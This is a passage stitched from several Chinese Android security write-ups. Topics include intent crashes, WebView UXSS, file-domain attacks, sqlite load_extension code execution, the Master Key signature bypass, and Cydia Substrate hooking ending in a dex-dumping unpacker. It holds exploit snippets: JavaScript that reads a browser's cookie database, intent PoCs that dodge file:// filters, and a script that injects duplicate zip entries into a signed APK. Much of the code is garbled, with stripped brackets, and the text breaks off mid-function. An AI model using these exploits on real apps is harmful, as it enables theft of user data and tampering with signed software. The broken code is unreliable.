攻击原理:隐式启动services,当存在同名services,先安装应用的services优先级高 攻击模型
案例3:拒绝服务

http://www.wooyun.org/bugs/wooyun-2014-048028
现在除了空指针异常crash外还多出了一类crash:intent传入对象的时候,转化出现异常. Serializable:
Intent i = getIntent(); if(i.getAction().equals("serializable_action")) { i.getSerializableExtra("serializable_key");//未做异常判断 }
Parcelable:
this.b =(RouterConfig) this.getIntent().getParcelableExtra("filed_router_config");//引发转型异常崩溃
POC内传入畸形数据即可引发crash,修复很简单捕获异常即可.
案例4:消息伪造

http://www.wooyun.org/bugs/wooyun-2015-094635

参考


http://blog.csdn.net/niu_gao/article/details/7307462

http://developer.android.com/reference/android/app/Service.html

http://developer.android.com/guide/components/services.html

科普

WebView(网络视图)android中加载显示网页的重要组件,可以将其视为一个浏览器。在kitkat(android 4.4)以前使用WebKit渲染引擎加载显示网页,在kitkat之后使用谷歌自家内核chromium。 Uxss(Universal Cross-Site Scripting通用型XSS)UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。可以到达浏览器全局远程执行命令、绕过同源策略、窃取用户资料以及劫持用户的严重危害。 同源策略所谓同源是指,域名,协议,端口相同,浏览器或者浏览器扩展共同遵循的安全策略。
http://drops.wooyun.org/tips/151

事件

近段时间android UXSS漏洞持续性爆发涉及android应用包括主手机流浏览器、聊天软件等。下面截取几个案例:
http://www.wooyun.org/bugs/wooyun-2014-047674

http://www.wooyun.org/bugs/wooyun-2014-068174

http://www.wooyun.org/bugs/wooyun-2014-075184

http://www.wooyun.org/bugs/wooyun-2014-075143
引用某厂商对此漏洞的回应:

非常感谢您的报告,此问题属于andriod webkit的漏洞,请尽量使用最新版的andriod系统。

的确漏洞产生的原因是因为kitkat(android 4.4)之前webview组件使用webview内核而遗留的漏洞。使用最新的android系统当然安全性要更高而且运行更流畅,但是有多少人能升级或者使用到相对安全的android版本了。下图来自谷歌官方2014.09.09的统计数据。 看起来情况不是太糟糕,有24.5%的android用户是处于相对安全的版本下。但是官方数据的是来google play明显和大陆水土不服。国内就只能使用相对靠谱的本土第三方统计了。下图是umeng八月的统计情况 能使用到相对安全的android系统的用户不到8%,那么问题来了~我要换一个什么的样的手机了。忘记我是个屌丝了,破手机无法升级到kitkat也没钱换手机。那就只能选择使用相对安全的应用来尽量避免我受到攻击。于是我们收集了一些命中率较高的POC来验证到底哪些app更靠谱一些。
1 https://code.google.com/p/chromium/issues/detail?id=37383 https://code.google.com/p/chromium/issues/detail?id=90222 https://code.google.com/p/chromium/issues/detail?id=98053 https://code.google.com/p/chromium/issues/detail?id=117550 https://code.google.com/p/chromium/issues/detail?id=143437 https://code.google.com/p/chromium/issues/detail?id=143439 CVE-2014-6041
为了方便大家也能够方便测试其他应用我们尝试写出一个自动化的脚本来完成此项工作。

测试


http://static.wooyun.org/upload/summit-wooyun-RAyH4c.zip

http://developer.android.com/intl/zh-cn/reference/android/webkit/WebViewClient.html#onPageStarted(android.webkit.WebView, java.lang.String, android.graphics.Bitmap)

前言

现在越来越多Android App使用了WebView,针对WebView的攻击也多样化。这里简单介绍下目前的WebView File域攻击一些常用的方法,并重点举例说明下厂商修复后依然存在的一些问题。(影响Android 4.4及以下)

WebView中的file协议

我们知道,在Android JELLY_BEAN以下版本中,如果WebView没有禁止使用file域,并且WebView打开了对JavaScript的支持,我们就能够使用file域进行攻击。 在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP中如果使用的WebView组件未对file协议头形式的URL做限制,会导致隐私信息泄露。针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的会是cookie等信息泄露。 譬如之前Wooyun上爆了一个利用file域攻击的漏洞:
http://www.wooyun.org/bugs/wooyun-2013-037836
代码如下:
var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } xmlhttp = request; var prefix = "file:////data/data/com.qihoo.browser/databases"; var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db var path = prefix.concat(postfix); // 获取本地文件代码 xmlhttp.open("GET", path, false); xmlhttp.send(null);

使用符号链接同源策略绕过

WebKit 有跨域访问的检查,它的规则是 ajax 访问相同 path 的文件就 allow,否则 deny。利用符号链接,把相同文件名指向了隐私文件,会造成同源策略检查失效。攻击者通过本地文件使用符号链接和File URL结合,利用该漏洞绕过同源策略,进而进行跨站脚本攻击或获得密码和cookie信息。 在JELLY_BEAN及以后的版本中不允许通过File url加载的Javascript读取其他的本地文件,不允许通过File url加载的Javascript可以访问其他的源,包括其他的文件和http,https等其他的源。那么我们要在通过File url中的javascript仍然有方法访问其他的本地文件,即通过符号链接攻击可以达到这一目的,前提是允许File url执行javascript。 目前所知,通过使用符号链接同源策略绕过可以使file域攻击影响到Android 4.4,进一步扩大了攻击范围。 这个典型的漏洞分析可以看下参考栏中的【2】

依然存在问题

自13年file域导致的安全问题受到关注后,一些厂商进行了相应的修复。因为一些开发者的认识程度以及可能产品实际需求,虽然各种厂商针对性做了不少patch的工作,但是仍然出现了各种问题。当然,这里的前提是WebView 没有禁用file协议也没有禁止调用javascript,即WebView中setAllowFileAccess(true)和setJavaScriptEnabled(true)。我们举几个例子说明如下:
A、某app修复的时候,在某个过程中判断url是否以file:///开头,如果是的话就返回,不是的话,再loadUrl

p1

p2
乍看这个修复,认为已经能够防止file域攻击问题了。但是,忽略了一个问题,如果我们在file:///前面添加空格,是否还仍然能够正常loadUrl。尝试后发现会修正下协议头,也就是说file域前面添加空格,是能够正常访问的。于是我们构造了如下POC就能够绕过这个限制:
Intent i = new Intent(); i.setClassName("xxx.xxx.xxx","xxx.xxx.xxx.xxxxxx"); i.putExtra("url", " file:///mnt/sdcard/filedomain.html"); //file域前面增加空格 startActivity(i);

B、很自然,有些开发者就想trim去空格就可以修复了,于是我们又看到下面这个例子

p3
这种修复方式,一般认为已经解决了前面说明的问题了。但是,这里头存在一个技巧,即协议头不包括///,还是仍然能够正常loadUrl。看下我们构造了如下POC就能够绕过这个限制:
Intent i = new Intent(); i.setClassName("xxx.xxx.xxx","xxx.xxx.xxx.xxxxxx"); i.putExtra("url", "file:mnt/sdcard/filedomain.html"); //file域跟mnt之间没有空格的情况 startActivity(i);
通过这两个简单的例子,从细节可以看到虽然现在越来越多的开发者注意到file域攻击的一些问题,也进行了相应的对抗措施,但是仍然还有不少因修复不善导致的绕过的方法,根源还是在于要获取协议头的问题。

参考


http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/

http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.OK100r&id=62

总结

总结一下这类问题的修复
1 对于不需要使用file协议的应用,禁用file协议 对于需要使用file协议的应用,禁止file协议调用javascript 将不必要导出的组件设置为不导出
File域下攻击的问题,现在已经算是老生常谈了,但是依然还存在很多猥琐的手段来利用。这里不一一说明了,总之思想有多远,攻击面就有多宽!Have Fun!

sqlite load_extension

SQLite从3.3.6版本(http://www.sqlite.org/cgi/src/artifact/71405a8f9fedc0c2)开始提供了支持扩展的能力,通过sqlite_load_extension API(或者load_extensionSQL语句),开发者可以在不改动SQLite源码的情况下,通过动态加载的库(so/dll/dylib)来扩展SQLite的能力。 便利的功能总是最先被黑客利用来实施攻击。借助SQLite动态加载的这个特性,我们仅需要在可以预测的存储路径中预先放置一个覆盖SQLite扩展规范的动态库(Android平台的so库),然后通过SQL注入漏洞调用load_extension,就可以很轻松的激活这个库中的代码,直接形成了远程代码执行漏洞。国外黑客早就提出使用load_extension和sql注入漏洞来进行远程代码执行攻击的方法,如下图。 也许是SQLite官方也意识到了load_extension API的能力过于强大,在放出load_extension功能后仅20天,就在代码中(http://www.sqlite.org/cgi/src/info/4692319ccf28b0eb)将load_extension的功能设置为默认关闭,需要在代码中通过sqlite3_enable_load_extensionAPI显式打开后方可使用,而此API无法在SQL语句中调用,断绝了利用SQL注入打开的可能性。

Android平台下的sqlite load_extension支持

出于功能和优化的原因,Google从 Android 4.1.2开始通过预编译宏SQLITE_OMIT_LOAD_EXTENSION,从代码上直接移除了SQLite动态加载扩展的能力,如下图。 可以通过adb shell来判断Android系统是不是默认支持load_extension,下图为Android4.0.3下sqlite3的.help命令: 可以看出支持load extension,而Android4.1.2上则没有该选项。

Android平台下的sqlite extension模块编译

sqlite extension必须包含sqlite3ext.h头文件,实现一个sqlite3_extension_init 入口。下图为一个sqlite extension的基本框架: 接着是Android.mk文件,如下图: 我们实现一个加载时打印log输出的一个sqlie extension:

Android平台下sqlite load_extension实战

由于sqlite是未加密的数据库,会导致数据泄露的风险,Android App都开始使用第三方透明加密数据库组件,比如sqlcipher。由于sqlcipher编译时没移除load extension,如图,导致使用它的App存在被远程代码执行攻击的风险。 下面我们将通过一个简单的demo来展示sql注入配合load_extension的漏洞利用。 首先,实现一个使用sqlcipher的Android程序,下载sqlcipher包,将库文件导入项目,如下图: 将导入包换成sqlcipher的: 加载sqlcihper的库文件,并且打开数据库时提供密钥: 编译的时候如果出错,则将jar包引入并导出,如下图: 实现一个存在sql注入的数据库查询语句,外部可控,如下图: 该函数接收一个外部可控的参数,并将数据库查询语句进行拼接,导致可被外部植入恶意代码进行代码执行攻击,如下图: 执行之后,可以看到so加载成功,如下图:

Android平台下sqlite load_extension攻防

攻击场景:存在漏洞的app可以接收文件,黑客可将文件通过目录遍历漏洞放到app私有目录下,再通过发消息触发sql注入语句,完美的远程代码执行攻击。
漏洞防御:

- 由于sqlcipher的扩展默认是开启的,如果需要sqlcipher,编译sqlcipher的时候通过SQLITE_OMIT_LOAD_EXTENSION宏来关闭sqlcipher的扩展功能。 进行数据库操作时,禁止将查询语句进行拼接,防止存在sql注入漏洞。

背景

Bluebox的CTO Jeff Forristal在其官⽅方blog爆出一个漏洞叫做UNCOVERING ANDROID MASTER KEY,大致是不篡改签名修改android代码。
http://bluebox.com/corporate-blog/bluebox-uncovers-android-master-key/

blog:关于细节并没有讲太多,只有discrepancies in how Android applications are cryptographically verified & installed(安卓应⽤用签名验证和安装的不⼀一致)essentially allowing a malicious author to trick Android into believing the app is unchanged even if it has been(让andriod系统本⾝身认为应⽤用没有修改)这两条重要的信息。

剩下就是放出来一张更改基带字串的图: 具体细节7月底的blackhat放出。 没多少天7月8号国外已经有人放出poc来。微博上看到rayh4c说已经搞定。就分析了一下。

分析

POC还没出来之前,先是看了下android的签名机制和安装机制。 签名机制: 用简单的话来讲就是android把app应用的所有文件都做了sha1(不可逆)签名,并对这签名用RSA(非对称加密算法)的私钥进行了加密,客户端安装验证时用公钥进行解密。 从逻辑上看,这签名机制对完整性和唯一性的校验是完全没问题的。主流的很多加密都类似这样。 安装机制: 安装机制则较为复杂。

1.系统应用安装――开机时完成,没有安装界面 2.网络下载应用安装――通过market应用完成,没有安装界面 3.ADB⼯工具安装――没有安装界面。 4.第三⽅方应用安装――通过SD卡⾥里的APK⽂文件安装,有安装界面,由packageinstaller.apk应⽤用处理安装及卸载过程的界面。

安装过程:复制APK安装包到data/app目录下,解压并扫描安装包,把dex⽂文件(Dalvik字节码) 保存到dalvik-cache目录,并data/data目录下创建对应的应⽤用数据目录。 到这里看出在安装机制上的问题可能性比较大。
https://gist.github.com/poliva/36b0795ab79ad6f14fd8
在linux执⾏行了一遍,出现错误。可能是apk的原因。 索性把这poc移植到windows下,先是⽤用apktool 把要更改的apk给反编译出来到一个目录apk_test 然后⼜又把apk_test打包成⼀一个新的apk 把原先的apk解压出来apk_old 把apk_old所有⽂文件以zip压缩的⽅方式加⼊入新的apk中。我本机以weibo.apk为例: 可见两者大小发生了变化,apktool在反编译过程不可避免的出现差异。并且重编译的apk不含有签名文件。 按照poc的做法我用批处理导出目录的文件名到1.txt修改了poc.py
import zipfile import sys f=open('1.txt','r') line=f.readline() test=
while line: test1=line.replace("\n","") test.append(test1) if not line: break line=f.readline() f.close() z = zipfile.ZipFile("livers.apk", "a") for i in range(0,len(test)): print test
z.write(str(test
)) z.close()
差不多增大了一倍,放在手机上安装了一下,成功安装。查看了下: 出现了多对同名文件。CRC校验不同,查看了一下,基本上是两个字节便产生不同。 这里我又测试了只添加签名文件,或者dex文件等,均不能通过验证。 可证明其在scan list扫描目录或者复制文件时候对同名文件处理不当。

验证

证明是否可以进行更改源码,并能使用原生签名。我把apk图标进行了更改。 顺便讲下一般的反编译修改:

1. apktool或者其他工具进行反编译包含smalijava字节码汇编和xml图片文件。 2. apkzip解压。 3. 反编译dex成java文件。 4. 查找对应修改的smali文件或者xml(一般广告链接) 5. Apktool打包成apk文件 6. 用autosign进行签名。 这里没有进行签名直接借用原来的签名。

查找根源

我这里下载的android 2.2的源码,查找到获取签名信息安装位于frameworks\base\core\java\android\content\pm\PackageParser.java这个文件,public boolean collectCertificates(Package pkg, int flags)和private Certificate
loadCertificates(JarFile jarFile, JarEntry je, byte
readBuffer)这个方法是用来获取签名信息的。
Enumeration entries = jarFile.entries(); while (entries.hasMoreElements()) { JarEntry je = (JarEntry)entries.nextElement(); if (je.isDirectory()) continue; if (je.getName().startsWith("META-INF/")) continue; Certificate
localCerts = loadCertificates(jarFile, je, readBuffer); 。。。。。。 } else { // Ensure all certificates match. for (int i=0; i != null && certs
.equals(localCerts
)) { found = true; break; } } 。。。。。
前面通过黑盒方式,大致推断出安装机制就是把重命名文件同时处理了,没有覆盖而是:
if (certs
!= null &&certs
.equals(localCerts
)) { found = true; break; }
两个重名文件都做了验证,只要有一个通过验证,就返回验证通过。

后继

我android研究不多,大多以前玩逆向的底子。大家可以多讨论。 欢迎大家留言探讨~! ====================================================================================================== 7月11日21点更新: 没看到看雪上已经讨论的热火朝天,读下来来源于看雪的zmworm的原理分析应该是更准确的。 原理简述

 由于ZIP格式允许存在两个或以上完全相同的路径,而安卓系统没有考虑这种场景。 在该情况下,android包管理器校验签名取的是最后一个文件的hash,而运行APK加载的dex文件却是zip的第一个dex文件。

 包管理器验证签名验的是最后一个(名字相同情况下)文件。 1. 解析zip的所有Entry,结果存到HashMap(key为路径,value为Entry)。 2. 由于HashMap.put在相同key的情况下,会把value更新,导致上述的HashMap在相同路径下,存储的一定是最后一个文件的Entry。 
系统加载dex文件,加载的是第一个dex。

 

1. 查找dex的Entry用的是dexZipFindEntry。
 2. dexZipFindEntry的实现是只要match就返回,所以返回的都是第一个文件。 Zip 可以包含两个同名文件或者路径,而其自身的unzip 默认方式是后一个覆盖前一个。 HashMap.put 的写法应该文件也直接覆盖(hash表的冲突处理不当果真出大问题)才算是算是符合zip 的标准。 就是加载dex的方式则是先加载第一个,这样确实信息不一致。 而我之前黑盒测出来认为android 默认把两个都加载在签名验证顺序上出现问题的,未分析到上一层的类。 看雪上也是讨论很多帖子得到准确的原理分析,大家共同讨论,集思广益。Hack it, know it too. 持续跟新中。

前言


注:框架有风险,使用要谨慎.
Cydia Substrate是一个代码修改平台.它可以修改任何主进程的代码,不管是用Java还是C/C++(native代码)编写的.而Xposed只支持HOOK app_process中的java函数,因此Cydia Substrate是一款强大而实用的HOOK工具.
http://www.cydiasubstrate.com/

http://www.cydiasubstrate.com/id/38be592b-bda7-4dd2-b049-cec44ef7a73b

http://asdk.cydiasubstrate.com/zips/cydia_substrate-r2.zip

Hook Java 层

之前讲解过 xposed 的用法为啥还要整这个了,下面简单对比两款框架.想了解之前 xposed 篇的可以看这里:
http://drops.wooyun.org/tips/7488
劣势:
- 没啥错误提醒,排错比较麻烦. 需要对 NDK 开发有一定了解,相对 xposed 模块的开发学习成本高一些. 因为不开源网上(github)上可以参考的模块代码很少.
优势:
- 可以对 native 函数进行 hook . 与 xposed hook 原理不一样,因为不是开源具体原理我也不清楚. 结果就是一些Anti hook 可能对 xposed 有效而对 Cydia 无效.

使用方法
1.
http://www.cydiasubstrate.com/download/com.saurik.substrate.apk
2.创建一个空的Android工程.由于创建的工程将以插件的形式被加载,所以不需要activity.将SDK中的substrate-api.jar复制到project/libs文件夹中. 3.配置Manifest文件

4.创建一个类,类名为Main.类中包含一个static方法initialize,当插件被加载的时候,该方法中的代码就会运行,完成一些必要的初始化工作.
#!java import com.saurik.substrate.MS; public class Main { static void initialize() { // ... code to run when extension is loaded } }
5.hook imei example
#!java import com.saurik.substrate.MS; public class Main { static void initialize() { MS.hookClassLoad("android.telephony.TelephonyManager", new MS.ClassLoadHook() { @SuppressWarnings("unchecked") public void classLoaded(Class arg0) { Method hookimei; try { hookimei = arg0.getMethod("getDeviceId", null); } catch (NoSuchMethodException e) { // TODO Auto-generated catch block e.printStackTrace(); hookimei = null; } if (hookimei != null) { final MS.MethodPointer old1 = new MS.MethodPointer(); MS.hookMethod(arg0, hookimei, new MS.MethodHook() { @Override public Object invoked(Object arg0, Object... arg1) throws Throwable { // TODO Auto-generated method stub System.out.println("hook imei----------->"); String imei = (String) old1.invoke(arg0, arg1); System.out.println("imei-------->" + imei); imei = "999996015409998"; return imei; } }, old1); } } }); } }
6.在 cydia app 界面中点击 Link Substrate Files 之后重启手机 7.使用getimei的小程序验证imei是否被改变
#!java public class MainActivity extends ActionBarActivity { private static final String tag = "MainActivity"; TextView mText ; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mText = (TextView) findViewById(R.id.text); TelephonyManager mtelehonyMgr = (TelephonyManager) getSystemService(this.TELEPHONY_SERVICE); Build bd = new Build(); String imei = mtelehonyMgr.getDeviceId(); String imsi = mtelehonyMgr.getSubscriberId(); //getSimSerialNumber() 获取 SIM 序列号 getLine1Number 获取手机号 String androidId = Secure.getString(getApplicationContext().getContentResolver(), Secure.ANDROID_ID); String id = UUID.randomUUID().toString(); String model = bd.MODEL; StringBuilder sb = new StringBuilder(); sb.append("imei = "+ imei); sb.append("\nimsi = " + imsi); sb.append("\nandroid_id = " + androidId); sb.append("\nuuid = " + id); sb.append("\nmodel = " + model); if(imei!=null) mText.setText(sb.toString()); else mText.setText("fail"); }
8.关键api介绍 MS.hookClassLoad:该方法实现在指定的类被加载的时候发出通知(改变其实现方式?).因为一个类可以在任何时候被加载,所以Substrate提供了一个方法用来检测用户感兴趣的类何时被加载. 这个api需要实现一个简单的接口MS.ClassLoadHook,该接口只有一个方法classLoaded,当类被加载的时候该方法会被执行.加载的类以参数形式传入此方法.
void hookClassLoad(String name, MS.ClassLoadHook hook);

参数|描述 name|包名+类名,使用java的.符号(被hook的完整类名) hook|MS.ClassLoadHook的一个实例,当这个类被加载的时候,它的classLoaded方法会被执行.

#!java MS.hookClassLoad("java.net.HttpURLConnection", new MS.ClassLoadHook() { public void classLoaded(Class _class) { /* do something with _class argument */ } } );
MS.hookMethod:该API允许开发者提供一个回调函数替换原来的方法,这个回调函数是一个实现了MS.MethodHook接口的对象,是一个典型的匿名内部类.它包含一个invoked函数.
#!java void hookMethod(Class _class, Member member, MS.MethodHook hook, MS.MethodPointer old);

参数|描述 _class|加载的目标类,为classLoaded传下来的类参数 member|通过反射得到的需要hook的方法(或构造函数). 注意:不能HOOK字段 (在编译的时候会进行检测). hook|MS.MethodHook的一个实例,其包含的invoked方法会被调用,用以代替member中的代码

Hook Native 层

这块的功能 xposed 就不能实现啦. 整个流程大致如下: 1.创建工程,添加 NDK 支持 2.将 cydia 的库和头文件加入工程 3.修改 AndroidManifest配置文件 4.修改Android.md 5.开发模块 5.1指定要hook 的 lib 库 5.2保留原来的地址 5.3替换的函数 5.4 Substrate entry point 5.4.1 MSGetImageByName or dlopen 5.4.2 MSFindSymbol or dlsym or nlist 指定方法,得到开始地址 5.4.3 MSHookFunction 替换函数
使用方法
**第零步:添加 ndk 支持,将 cydia 的库和头文件加入工程 有关 ndk 开发的基础可以参考此文:
http://www.codefrom.com/paper/Android.NDK%E5%85%A5%E9%97%A8

注意要是 xxx.cy.cpp,不要忘记.cy
其实应该是动态链接库名称中的 cy 必须有,所有在 Android.md 中module 处的 .cy 必须带上咯
LOCAL_MODULE := DumpDex2.cy

第一步:修改配置文件


设置 android:hasCode 属性 false,设置android:installLocation属性internalOnly"
第二步:指定要 hook 的 lib 库

#include MSConfig(MSFilterExecutable, "/system/bin/app_process") //MSConfig(MSFilterLibrary, "liblog.so") // this is a macro that uses __attribute__((__constructor__)) MSInitialize { // ... code to run when extension is loaded }
设置要 hook 的可执行文件或者动态库
第三步: 等待 class

static void OnResources(JNIEnv *jni, jclass resources, void *data) { // ... code to modify the class when loaded } MSInitialize { MSJavaHookClassLoad(NULL, "android/content/res/Resources", &OnResources); }

第四步:修改实现

static jint (*_Resources$getColor)(JNIEnv *jni, jobject _this, ...); static jint $Resources$getColor(JNIEnv *jni, jobject _this, jint rid) { jint color = _Resources$getColor(jni, _this, rid); return color & ~0x0000ff00 | 0x00ff0000; } static void OnResources(JNIEnv *jni, jclass resources, void *data) { jmethodID method = jni->GetMethodID(resources, "getColor", "(I)I"); if (method != NULL) MSJavaHookMethod(jni, resources, method, &$Resources$getColor, &_Resources$getColor); }

下面是步骤是在官网教程基础上对小白同学的一些补充吧.


» file libprocess.so libprocess.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), not stripped

第五步
复制libsubstrate-dvm.so(注意 arm 和 x86平台的选择)和substrate.h到 jni 目录下.创建SuperMathHook.cy.cpp文件 第六步 配置Android.mk文件
LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE:= substrate-dvm LOCAL_SRC_FILES := libsubstrate-dvm.so include $(PREBUILT_SHARED_LIBRARY) include $(CLEAR_VARS) LOCAL_MODULE := SuperMathHook.cy LOCAL_SRC_FILES := SuperMathHook.cy.cpp LOCAL_LDLIBS := -llog LOCAL_LDLIBS += -L$(LOCAL_PATH) -lsubstrate-dvm //-L指定库文件的目录,-l指定库文件名,-I指定头文件的目录. include $(BUILD_SHARED_LIBRARY)
加入 c 的 lib
LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE:= substrate-dvm LOCAL_SRC_FILES := libsubstrate-dvm.so include $(PREBUILT_SHARED_LIBRARY) include $(CLEAR_VARS) LOCAL_MODULE:= substrate LOCAL_SRC_FILES := libsubstrate.so include $(PREBUILT_SHARED_LIBRARY) include $(CLEAR_VARS) LOCAL_MODULE := CydiaN.cy LOCAL_SRC_FILES := CydiaN.cy.cpp LOCAL_LDLIBS := -llog LOCAL_LDLIBS += -L$(LOCAL_PATH) -lsubstrate-dvm -lsubstrate include $(BUILD_SHARED_LIBRARY)
strings 查看下里面的函数.
/data/data/com.jerome.jni/lib # strings libprocess.so < /system/bin/linker __cxa_finalize __cxa_atexit Jstring2CStr malloc memcpy __aeabi_unwind_cpp_pr0 Java_com_jerome_jni_JNIProcess_getInfoMD5 ....

脱壳机模块发开
网上流传的 IDA dump 脱壳流程大致如下:
- 对/system/lib/libdvm.so 方法JNI_OnLoad/dvmLoadNativeCode/dvmDexFileOpenPartial下断点分析 IDA 附加 app (IDA6.5以及之后版本) Ctrl+s 查看基地址+偏移 IDA 分析寻找 dump 点 F8/F9执行到dex完全被解密到内存中时候进行 dump
现在目标就是通过 Cydia 的模块来自动化完成这个功能.这里咱选择对dvmDexFileOpenPartial函数进行 hook.至于为什么要选择这里了?这就需要分析下 android dex优化过程 Android会对每一个安装的应用的dex文件进行优化,生成一个odex文件.相比于dex文件,odex文件多了一个optheader,依赖库信息(dex文件所需要的本地函数库)和辅助信息(类索引信息等). dex的优化过程是一个独立的功能模块来实现的,位于http://androidxref.com/4.4.3_r1.1/xref/dalvik/dexopt/OptMain.cpp#57 其中extractAndProcessZip()函数完成优化操作. http://androidxref.com/4.1.1/xref/dalvik/dexopt/OptMain.cpp OptMain中的main函数就是加载dex的最原始入口
#!c int main(int argc, char* const argv
) { set_process_name("dexopt"); setvbuf(stdout, NULL, _IONBF, 0); if (argc > 1) { if (strcmp(argv
, "--zip") == 0) return fromZip(argc, argv); else if (strcmp(argv
, "--dex") == 0) return fromDex(argc, argv); else if (strcmp(argv
, "--preopt") == 0) return preopt(argc, argv); } ... return 1; }
可以看到,这里会分别对3中类型的文件做不同处理,我们关心的是dex文件,所以接下来看看fromDex函数:
#!c static int fromDex(int argc, char* const argv
) { ... if (dvmPrepForDexOpt(bootClassPath, dexOptMode, verifyMode, flags) != 0) { ALOGE("VM init failed"); goto bail; } vmStarted = true; /* do the optimization */ if (!dvmContinueOptimization(fd, offset, length, debugFileName, modWhen, crc, (flags & DEXOPT_IS_BOOTSTRAP) != 0)) { ALOGE("Optimization failed"); goto bail; } ... }
这个函数先初始化了一个虚拟机,然后调用dvmContinueOptimization函数 /dalvik/vm/analysis/DexPrepare.cpp,进入这个函数:
#!c bool dvmContinueOptimization(int fd, off_t dexOffset, long dexLength, const char* fileName, u4 modWhen, u4 crc, bool isBootstrap) { ... /* * Rewrite the file. Byte reordering, structure realigning, * class verification, and bytecode optimization are all performed * here. * * In theory the file could change size and bits could shift around. * In practice this would be annoying to deal with, so the file * layout is designed so that it can always be rewritten in place. * * This creates the class lookup table as part of doing the processing. */ success = rewriteDex(((u1*) mapAddr) + dexOffset, dexLength, doVerify, doOpt, &pClassLookup, NULL); if (success) { DvmDex* pDvmDex = NULL; u1* dexAddr = ((u1*) mapAddr) + dexOffset; if (dvmDexFileOpenPartial(dexAddr, dexLength, &pDvmDex) != 0) { ALOGE("Unable to create DexFile"); success = false; } else { ... }
这个函数中对Dex文件做了一些优化(如字节重排序,结构对齐等),然后重新写入Dex文件.如果优化成功的话接下来调用dvmDexFileOpenPartial,而这个函数中调用了真正的Dex文件.在具体看看这个函数/dalvik/vm/DvmDex.cpp
#!c /* * Create a DexFile structure for a "partial" DEX. This is one that is in * the process of being optimized. The optimization header isn't finished * and we won't have any of the auxillary data tables, so we have to do * the initialization slightly differently. * * Returns nonzero on error. */ int dvmDexFileOpenPartial(const void* addr, int len, DvmDex** ppDvmDex) { DvmDex* pDvmDex; DexFile* pDexFile; int parseFlags = kDexParseDefault; int result = -1; /* -- file is incomplete, new checksum has not yet been calculated if (gDvm.verifyDexChecksum) parseFlags |= kDexParseVerifyChecksum; */ pDexFile = dexFileParse((u1*)addr, len, parseFlags); if (pDexFile == NULL) { ALOGE("DEX parse failed"); goto bail; } pDvmDex = allocateAuxStructures(pDexFile); if (pDvmDex == NULL) { dexFileFree(pDexFile); goto bail; } pDvmDex->isMappedReadOnly = false; *ppDvmDex = pDvmDex; result = 0; bail: return result; }
这个函数的前两个参数非常关键,第一个参数是dex文件的起始地址,第二个参数是dex文件的长度,有了这两个参数,就可以从内存中将这个dex文件dump下来了,这也是在此函数下断点的原因.该函数会调用dexFileParse()对dex文件进行解析 所以在dexFileParse函数处来进行 dump 也是可行的.但是因为这个函数的原型是
DexFile* dexFileParse(const u1* data, size_t length, int flags)
其返回值为一个结构体指针struct DexFile { ... },要 hook 这个函数得把结构体从 android 源码中扣出来或者直接改镜像. 找到dvmDexFileOpenPartial函数在 libdvm.so 对应的名称
#!bash » strings libdvm_arm.so|grep dvmDexFileOpenPartial _Z21dvmDexFileOpenPartialPKviPP6DvmDex » strings libdvm_arm.so|grep dexFileParse _Z12dexFileParsePKhji
有了上述理论基础,现在可以正式开发模块了.大致流程如下
1 指定要hook 的 lib 库 Original method template 原函数模板 Modified method 替换的函数 Substrate entry point

MSGetImageByName or dlopen 载入lib得到 image MSFindSymbol or dlsym or nlist 指定方法,得到开始地址 MSHookFunction 替换函数
完整代码
#!c #include "substrate.h" #include #include #include #include #include #include #define BUFLEN 1024 #define TAG "DEXDUMP" #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__) #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, TAG, __VA_ARGS__) //get packagename from pid int getProcessName(char * buffer){ char path_t
={0}; pid_t pid=getpid(); char str
; sprintf(str, "%d", pid); memset(path_t, 0 , sizeof(path_t)); strcat(path_t, "/proc/"); strcat(path_t, str); strcat(path_t, "/cmdline"); //LOG_ERROR("zhw", "path:%s", path_t); int fd_t = open(path_t, O_RDONLY); if(fd_t>0){ int read_count = read(fd_t, buffer, BUFLEN); if(read_count>0){ int processIndex=0; for(processIndex=0;processIndex==':'){ buffer
='_'; } } return 1; } } return 0; } //指定要hook 的 lib 库 MSConfig(MSFilterLibrary,"/system/lib/libdvm.so") //保留原来的地址 DexFile* dexFileParse(const u1* data, size_t length, int flags) int (* oldDexFileParse)(const void * addr,int len,int flags); //替换的函数 int myDexFileParse(const void * addr,int len,void ** dvmdex) { LOGD("call my dvm dex!!:%d",getpid()); { //write to file //char buf
; // 导出dex文件 char dexbuffer
={0}; char dexbufferNamed
={0}; char * bufferProcess=(char*)calloc(256,sizeof(char)); int processStatus= getProcessName(bufferProcess); sprintf(dexbuffer, "_dump_%d", len); strcat(dexbufferNamed,"/sdcard/"); if (processStatus==1) { strcat(dexbufferNamed,bufferProcess); strcat(dexbufferNamed,dexbuffer); }else{ LOGD("FAULT pid not found\n"); } if(bufferProcess!=NULL) { free(bufferProcess); } strcat(dexbufferNamed,".dex"); //sprintf(buf,"/sdcard/dex.%d",len); FILE * f=fopen(dexbufferNamed,"wb"); if(!f) { LOGD(dexbuffer + " : error open sdcard file to write"); } else{ fwrite(addr,1,len,f); fclose(f); } } //进行原来的调用,不影响程序运行 return oldDexFileParse(addr,len,dvmdex); } //Substrate entry point MSInitialize { LOGD("Substrate initialized."); MSImageRef image; //载入lib image = MSGetImageByName("/system/lib/libdvm.so"); if (image != NULL) { void * dexload=MSFindSymbol(image,"_Z21dvmDexFileOpenPartialPKviPP6DvmDex"); if(dexload==NULL) { LOGD("error find _Z21dvmDexFileOpenPartialPKviPP6DvmDex "); } else{ //替换函数 //3.MSHookFunction MSHookFunction(dexload,(void*)&myDexFileParse,(void 